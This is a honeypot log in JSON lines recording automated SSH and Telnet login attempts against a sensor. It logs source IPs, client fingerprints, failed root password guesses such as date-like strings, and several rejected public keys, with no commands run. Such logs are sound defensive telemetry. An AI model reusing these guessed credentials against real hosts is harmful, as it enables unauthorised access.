{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:10.446942Z","src_ip":"103.15.222.183","session":"8c3853db32d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19031987","message":"login attempt [root/19031987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:11.202309Z","src_ip":"103.15.222.183","session":"8c3853db32d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:12.455518Z","src_ip":"103.15.222.183","session":"8c3853db32d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50530,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2402d68f30f","protocol":"ssh","message":"New connection: 89.108.118.91:50530 (159.203.135.109:22) [session: f2402d68f30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:23.344216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:23.348602Z","src_ip":"89.108.118.91","session":"f2402d68f30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:23.486063Z","src_ip":"89.108.118.91","session":"f2402d68f30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yasmin","message":"login attempt [root/yasmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:23.897650Z","src_ip":"89.108.118.91","session":"f2402d68f30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:25.040920Z","src_ip":"89.108.118.91","session":"f2402d68f30f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38194,"dst_ip":"159.203.135.109","dst_port":22,"session":"45345aa01335","protocol":"ssh","message":"New connection: 185.236.22.41:38194 (159.203.135.109:22) [session: 45345aa01335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:29.339536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:29.345040Z","src_ip":"185.236.22.41","session":"45345aa01335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:29.460899Z","src_ip":"185.236.22.41","session":"45345aa01335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10051987","message":"login attempt [root/10051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:29.887573Z","src_ip":"185.236.22.41","session":"45345aa01335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:08:31.028811Z","src_ip":"185.236.22.41","session":"45345aa01335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7176,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5bafe61e7c","protocol":"ssh","message":"New connection: 38.93.206.2:7176 (10.17.0.5:22) [session: 0b5bafe61e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:09:27.473721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:09:27.478013Z","src_ip":"38.93.206.2","session":"0b5bafe61e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:09:27.528515Z","src_ip":"38.93.206.2","session":"0b5bafe61e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdboys2016","message":"login attempt [root/bdboys2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:09:27.680382Z","src_ip":"38.93.206.2","session":"0b5bafe61e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:09:28.733035Z","src_ip":"38.93.206.2","session":"0b5bafe61e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a298cf767a","protocol":"telnet","message":"New connection: 79.139.59.21:45206 (159.203.135.109:23) [session: 71a298cf767a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:13.650799Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":33772,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec5e07f42c04","protocol":"ssh","message":"New connection: 167.114.156.169:33772 (10.17.0.5:22) [session: ec5e07f42c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:15.950232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:15.962918Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:15.985118Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIeg0kmkjagcEZ60SWuUjeYJzrrvGYu4V467vv3OCuT84JuD1wwH4CCOxFFh7EK93oLvoI3y52DnYh5nzdDTGrzKhQYK6ZZC4WXhNS6GW0anKcW4H+nfqUu9PsNjQfGPwG9XTZ3Wh7eu7YWlwa/t8zI5MD8/PS+XAZhsguD/eld1ySqo8rcP+N9eFMCG1SQr2Zdh1vht9XpT9nODGwV2ps7N/qY2kRSqOtj16t6Jc32kK9o8/R2o0vFsuGvQNLht5qipAVVJ1sog0sBGJ7ngtLrKYlz+EJoJBMjQo3q6uqu+eRNJify0DI1fflefI8/w78vMZsWPcjEqg//CLgs/cD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.069525Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIeg0kmkjagcEZ60SWuUjeYJzrrvGYu4V467vv3OCuT84JuD1wwH4CCOxFFh7EK93oLvoI3y52DnYh5nzdDTGrzKhQYK6ZZC4WXhNS6GW0anKcW4H+nfqUu9PsNjQfGPwG9XTZ3Wh7eu7YWlwa/t8zI5MD8/PS+XAZhsguD/eld1ySqo8rcP+N9eFMCG1SQr2Zdh1vht9XpT9nODGwV2ps7N/qY2kRSqOtj16t6Jc32kK9o8/R2o0vFsuGvQNLht5qipAVVJ1sog0sBGJ7ngtLrKYlz+EJoJBMjQo3q6uqu+eRNJify0DI1fflefI8/w78vMZsWPcjEqg//CLgs/cD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.073754Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:00:a5:aa:56:05:47:b4:42:42:6e:3d:50:1e:69:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCanDF0sZ1w0D8P0h6atHbFghT3ITEMPke2x2MUByDfG/Mrc9PlASfVAme761wm8FK7lZEshpL6XJKbtlkAhv62AI2AijgqgyLoey7rB7QgnPjSGgJGAp41Lb3yITRQuWx0zET18wQ8+IkdAOgGNfQ6/OHF1eShaWi8VniwHVfDN3QGruGUjpvdnUVcPNCwAaJQ97eSrEAdQsrZhstm49+1evlaLFsC2QOj8H1j0EB1BEnQWGm5Om7xpYczaqnqsRYj0euS6ecV5sEhn1GQqvyD8PSWr3qg9j4efgnlgAXJF6ZAPvvUaUoWVq0O1HrGGL/FMXQVq0RIyeVGqixU5pDTU26np0BhIjaVJlLRScEZldwJQGJB01CJT7QbrEjndBpAuHbxrBNc/hq4vyp9zusPQ6OVAiia2gg6tXDVQB52BEY1uEIgQdP0HbO3gq2CNqjpQKbB5N3ZhI9cRJO8W0/k7VhDSw2tKbXTS5JX4/zghnEJ12GhF2S/K4bwvnJRPDk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:00:a5:aa:56:05:47:b4:42:42:6e:3d:50:1e:69:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.099964Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:00:a5:aa:56:05:47:b4:42:42:6e:3d:50:1e:69:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCanDF0sZ1w0D8P0h6atHbFghT3ITEMPke2x2MUByDfG/Mrc9PlASfVAme761wm8FK7lZEshpL6XJKbtlkAhv62AI2AijgqgyLoey7rB7QgnPjSGgJGAp41Lb3yITRQuWx0zET18wQ8+IkdAOgGNfQ6/OHF1eShaWi8VniwHVfDN3QGruGUjpvdnUVcPNCwAaJQ97eSrEAdQsrZhstm49+1evlaLFsC2QOj8H1j0EB1BEnQWGm5Om7xpYczaqnqsRYj0euS6ecV5sEhn1GQqvyD8PSWr3qg9j4efgnlgAXJF6ZAPvvUaUoWVq0O1HrGGL/FMXQVq0RIyeVGqixU5pDTU26np0BhIjaVJlLRScEZldwJQGJB01CJT7QbrEjndBpAuHbxrBNc/hq4vyp9zusPQ6OVAiia2gg6tXDVQB52BEY1uEIgQdP0HbO3gq2CNqjpQKbB5N3ZhI9cRJO8W0/k7VhDSw2tKbXTS5JX4/zghnEJ12GhF2S/K4bwvnJRPDk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.104966Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:89:d4:b4:44:57:da:36:1e:ec:1d:90:1b:36:1a:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4fhqsufHI3tgEZt9V3tPtOadQgRHsaVN2N88Ktpgdc4oEocxtiZihQ4RSEvFSuEH9nBWnqK6IRJTvn2Swa5mgxNjVuQ77jIwKzELKxikYcK7RquzwTCbq03nUXktGETpi6M0d/HnABGyqqEI0gViNJMQT25tnVeB4iYeE/s0q2dnRhIHUOWI6jy/fM2mUkuGUgsYIcq88xXjFBK0S4/gZgmtlKHVgnRA6vF+c2xxagltJ64bbvXdXpuyLupi0PV16bsa+lKpFD9dSqDSsSOZNqkER68hCGfkmldU4N7YiXhwgI9AZG90ovxgtNCv5iWP2I2tOwDgrFwjCyshXZQZR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:89:d4:b4:44:57:da:36:1e:ec:1d:90:1b:36:1a:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.131891Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:89:d4:b4:44:57:da:36:1e:ec:1d:90:1b:36:1a:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4fhqsufHI3tgEZt9V3tPtOadQgRHsaVN2N88Ktpgdc4oEocxtiZihQ4RSEvFSuEH9nBWnqK6IRJTvn2Swa5mgxNjVuQ77jIwKzELKxikYcK7RquzwTCbq03nUXktGETpi6M0d/HnABGyqqEI0gViNJMQT25tnVeB4iYeE/s0q2dnRhIHUOWI6jy/fM2mUkuGUgsYIcq88xXjFBK0S4/gZgmtlKHVgnRA6vF+c2xxagltJ64bbvXdXpuyLupi0PV16bsa+lKpFD9dSqDSsSOZNqkER68hCGfkmldU4N7YiXhwgI9AZG90ovxgtNCv5iWP2I2tOwDgrFwjCyshXZQZR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.138925Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:8c:4e:b3:66:89:6c:1b:0b:cb:a2:12:ff:d8:06:29","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOPSnMxB3pZaY1x0e3cd+LLRKEuJGvlDcTFBwejin9X1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ad:8c:4e:b3:66:89:6c:1b:0b:cb:a2:12:ff:d8:06:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.164240Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:8c:4e:b3:66:89:6c:1b:0b:cb:a2:12:ff:d8:06:29","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOPSnMxB3pZaY1x0e3cd+LLRKEuJGvlDcTFBwejin9X1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.169663Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrn2zPIV2OhvxwLTpfN1TFP92h+b1qerzL6n+ZbJM0p4OXfTP/0xc5lMpY+IXbuba03iEufLH0xm0QdDrdLiScb/bkz2oDnxPejGylIRMjpIGs6WYSlhM3/doKVgwuWfOf7/llBaEDpUoYXiozmTtDJ0w/WecDhxrMmY0SR9VprRefHJQqj0Ymmj0WBDt39qjs2Bb3J8qkNvbFZxbtte9DkiQkc86plABuXewSsLjZKx9lWhNYTNDuu1X29zlrkf/pVwjHNXX1bobEB8UaeKfMRPUviWYPm9vvJDeK73TfHsW4w9q4ZLeh3si02HnGzGJcWYNpryqfrKo2/WIRXIvDEuARAAaEv9IRYoB8jyZ5x2HpWLg4bV/SxNfVY+xgfJvnIBKn7tV0U8gEntpZ+MJZcYkrkhqAqddYGpoy8WMYA4pGsfh6vHRyJh70JWBn5DASzINAAm4MsyUPPpyM7pUlX+cLK1TqnQ8uPsExt4SXBP/6De/JFV9kxF9MsTaiXEs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.193904Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrn2zPIV2OhvxwLTpfN1TFP92h+b1qerzL6n+ZbJM0p4OXfTP/0xc5lMpY+IXbuba03iEufLH0xm0QdDrdLiScb/bkz2oDnxPejGylIRMjpIGs6WYSlhM3/doKVgwuWfOf7/llBaEDpUoYXiozmTtDJ0w/WecDhxrMmY0SR9VprRefHJQqj0Ymmj0WBDt39qjs2Bb3J8qkNvbFZxbtte9DkiQkc86plABuXewSsLjZKx9lWhNYTNDuu1X29zlrkf/pVwjHNXX1bobEB8UaeKfMRPUviWYPm9vvJDeK73TfHsW4w9q4ZLeh3si02HnGzGJcWYNpryqfrKo2/WIRXIvDEuARAAaEv9IRYoB8jyZ5x2HpWLg4bV/SxNfVY+xgfJvnIBKn7tV0U8gEntpZ+MJZcYkrkhqAqddYGpoy8WMYA4pGsfh6vHRyJh70JWBn5DASzINAAm4MsyUPPpyM7pUlX+cLK1TqnQ8uPsExt4SXBP/6De/JFV9kxF9MsTaiXEs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.198024Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:16.222541Z","src_ip":"167.114.156.169","session":"ec5e07f42c04","protocol":"ssh"}
